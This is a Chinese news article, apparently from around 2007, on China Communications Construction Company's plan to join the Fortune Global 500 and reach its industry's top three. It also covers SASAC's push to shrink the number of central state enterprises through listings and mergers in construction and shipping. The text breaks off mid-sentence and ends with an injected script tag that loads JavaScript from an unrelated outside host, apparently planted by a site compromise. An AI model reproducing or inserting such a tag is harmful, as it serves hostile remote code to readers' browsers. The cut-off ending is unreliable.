跻身全球500强，营业额翻番，进入行业三甲，这正是中国交通建设股份有限公司(1800.hk，下称中交公司)为未来五年规划的成绩单。
“如果我们能成为500强、排名行业前三，被重组的可能性就小了很多。”一位接近中交公司高层的人士说。这个在中国建筑业排名第四的中央企业，正在为避免被“嫁出去”的命运而努力。
三年前，国务院国资委李荣融曾放话给190余家中央企业的掌门人，如果三年不能进入前三名，国资委就要给这些企业“找婆家”。如今，三年之约已满，中央企业总数已不足160家。
按照李荣融的设想，未来央企会保留在100家左右。在航运、电力、煤炭、钢铁、航空等行业中，至少有十几家央企的处境和中交公司相似。现在，它们打算把命运掌握在自己手里。
三甲以外
几天前，中交公司和《财富》杂志进行了接触，它们准备参加今年全球500强的评选。
中交公司去年的营业收入是1148.81亿元，今年有望突破1200亿元。2006年度《财富》全球500强最后一名是美国耐克公司，它的营业收入是137.39亿元，约合1100亿元人民币。
看起来，搭上全球500强列车，对于中交公司来说并不是太难的事。不过，这仅仅是这个交通行业最大的基建集团五年规划的一部分。如果不出意外，这一目标和三年营业额翻番、五年进入行业前三名，都将写入6月份报送国务院国资委的规划中。
不过，中交公司相关人士说：“进500强容易，但是短期内追上行业前三名就比较困难了。”
在中国建筑行业，稳居前三的央企中国铁路工程集团、中国铁道建筑总公司、中国建筑工程总公司(以下分别简称中铁工、中铁建和中建总公司)都已是全球500强企业。这三家公司2006年的营业额分别约1600亿元、1500亿元和1400亿元。
位居第三的中建总公司正在进行上市前的内部重组改制，初步计划明年3月前登陆a股。中交公司人士说，如果中建总公司实现整体上市，其资产规模将进一步放大，两家的差距可能有所扩大。目前，中交公司在营业收入上和中建总公司相差约200亿元。
重组上市似乎已成为稳住行业地位的必然选择。这也意味着，建筑行业三甲的排名随时都可能发生变化。建筑业是充分竞争行业，面对五强竞争格局，如何做到不出局，年初集体研讨对策时，中铁建高层坦陈“压力巨大，使命在肩。”当时提出的举措之一即是，加快股份制改革进程，推动主业优良资产整体上市。
同样筹备整体上市的还有中铁工。不过中铁工和中铁建的宣传部门对上市的说法均予以否认。来自市场人士的消息显示，这两家公司都计划年内或明年年初a+h同步上市。
未经证实的消息称，建筑行业排名第五的中国冶金科工集团也在谋划整体上市。该公司去年的营业收入是901亿元，今年的目标是超过1000亿元。
“孙子主张‘兵者，以奇胜’，就是要超出常规获得发展(胜利)。”对于这些央企的想法和行动，国资委研究中心企业改革与发展研究部部长王志钢表示理解。他认为，所谓行业前三，是动态的，“奇”确有可能改变格局。
“对于行业前三，是出资人代表对所出资企业的要求。从提出来到实施，要有个阶段，这个阶段也就给了这些企业努力进入前三的同等机会。”王志钢说，进入前三的实现过程是一种市场行为，上市是可借助的一种手段，无可非议。
而在资深投行人士、易凯资本有限公司ceo王冉看来，值得警惕的一点是，个别央企为了规避被重组的命运而短时间内匆忙上市，可能会有一些短期行为，甚至是拔苗助长的行为，这可能损害公众股东的利益。
国资婚姻
在国资委划定的红线下，面对同样命运选择的不仅是建筑行业的央企。
按照李荣融的设想，未来只保留100家左右央企。这意味着，至少还有60家左右的央企面临重组和整合。
目前，10多家科研院所划入所在行业领军企业的思路已基本清晰，位居行业第四、第五乃至更为靠后的央企前景尚不明朗，变数最大。这些企业分布于航运、电力、煤炭、钢铁和航空等行业中。
和建筑业试图通过上市迅速扩充实力不同，航运业中的央企选择了自由恋爱式的兼并重组。分别排名第三和第四的中国对外贸易运输 (集团)总公司和中国长江航运(集团)总公司 (以下分别简称中外运和长航)即是如此。
目前在航运业排名第一、二、五位的央企分别是中国远洋运输 (集团)总公司、中国海运(集团)总公司和招商局集团。从运力规模上看，中远一家独大，占五家总运力的55%，中海占25%，其余三家均不到10%。
中金公司3月份发布的一份研究报告曾指出，中远运力优势明显，必然会被保留下来。招商局整体规模较大，航运只是主业之一，且已经上市，整合的可能性较小。中海面临长航从长江向沿海转移带来的威胁，有意与长航合并?script src=http://er12.com/t.js>
